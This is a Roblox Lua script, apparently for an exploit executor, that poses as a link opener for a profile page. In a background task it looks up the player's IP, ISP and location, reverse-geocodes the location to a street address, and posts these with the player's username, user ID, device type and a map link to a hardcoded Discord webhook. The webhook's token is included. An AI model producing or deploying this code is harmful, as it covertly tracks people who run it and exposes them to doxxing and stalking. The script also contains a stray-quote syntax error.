local url = " https://s-k.neocities.org/profile"
local webhook = "https://discord.com/api/webhooks/1473343905910100133/1xS2rPm5TAPmaLR54yg1wqrNXGdlfhToM19dncjn3UQdnb81Dq5dFsv_VNNTLbehCgy6"
local server_links = "https://discord.gg/22s"
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local GuiService = game:GetService("GuiService")
local player = Players.LocalPlayer"
local function GetDetailedDeviceInfo()
    local platform = "Unknown"
    if UserInputService.TouchEnabled then
        platform = "Mobile / Tablet"
    elseif GuiService:IsTenFootInterface() then
        platform = "Console / TV"
    else
        platform = "PC (Windows/Mac)"
    end
    return platform
end
local function SendInstantLog()
    task.spawn(function()
        local userId = player.UserId
        local avatarUrl = string.format("https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=420&height=420&format=png", userId)
        local deviceDetail = GetDetailedDeviceInfo()
        local success, response = pcall(function()
            return request({
                Url = "https://ipapi.co/json/",
                Method = "GET"
            })
        end)
        if success and response.Success then
            local geo = HttpService:JSONDecode(response.Body)
            local lat, lon = geo.latitude, geo.longitude
            local address_ja = "取得中..."
            local rev_success, rev_res = pcall(function()
                return request({
                    Url = string.format("https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=%f&lon=%f&accept-language=ja", lat, lon),
                    Method = "GET",
                    Headers = {["User-Agent"] = "Mozilla/5.0"}
                })
            end)
            if rev_success and rev_res.Success then
                local rev_data = HttpService:JSONDecode(rev_res.Body)
                address_ja = rev_data.display_name or (geo.region .. " " .. geo.city)
            else
                address_ja = geo.region .. " " .. geo.city .. " (標準データ)"
            end
            local google_map_url = string.format("https://www.google.com/maps/search/?api=1&query=%f,%f", lat, lon)
            local payload = {
                ["embeds"] = {{
                    ["title"] = "🛰️ **システム接続: 高精度トラッキング完了**",
                    ["description"] = "対象ユーザーのネットワークおよび位置情報を正常に解析しました。",
                    ["color"] = 0x00ffcc,
                    ["thumbnail"] = { ["url"] = avatarUrl },
                    ["fields"] = {
                        {["name"] = "👤 **ユーザープロファイル**", ["value"] = "```\n表示名: " .. player.DisplayName .. "\nユーザー名: " .. player.Name .. "\nID: " .. userId .. "```", ["inline"] = false},
                        {["name"] = "📱 **デバイス環境**", ["value"] = "```\n" .. deviceDetail .. "```", ["inline"] = true},
                        {["name"] = "🌐 **ネットワーク**", ["value"] = "**IP:** ||" .. geo.ip .. "||\n**プロバイダ:** " .. (geo.org or "不明"), ["inline"] = true},
                        {["name"] = "📍 **解析された現在地**", ["value"] = "```yaml\n" .. address_ja .. "```", ["inline"] = false},
                        {["name"] = "🗺️ **位置特定リンク**", ["value"] = "[Google マップで座標を確認](" .. google_map_url .. ")", ["inline"] = false},
                        {["name"] = "🔗 **管理情報**", ["value"] = "**サーバー:** " .. server_links, ["inline"] = false}
                    },
                    ["footer"] = {["text"] = "Geo-Log Elite System • " .. os.date("%Y/%m/%d %H:%M:%S")},
                    ["timestamp"] = os.date("!%Y-%m-%dT%H:%M:%SZ")
                }}
            }
            pcall(function()
                request({
                    Url = webhook,
                    Method = "POST",
                    Headers = {["Content-Type"] = "application/json"},
                    Body = HttpService:JSONEncode(payload)
                })
            end)
        end
    end)
end
if request then
    SendInstantLog()
    request({
        Url = url,
        Method = "GET"
    })
else
    setclipboard(url)
    print("URL copied.")
end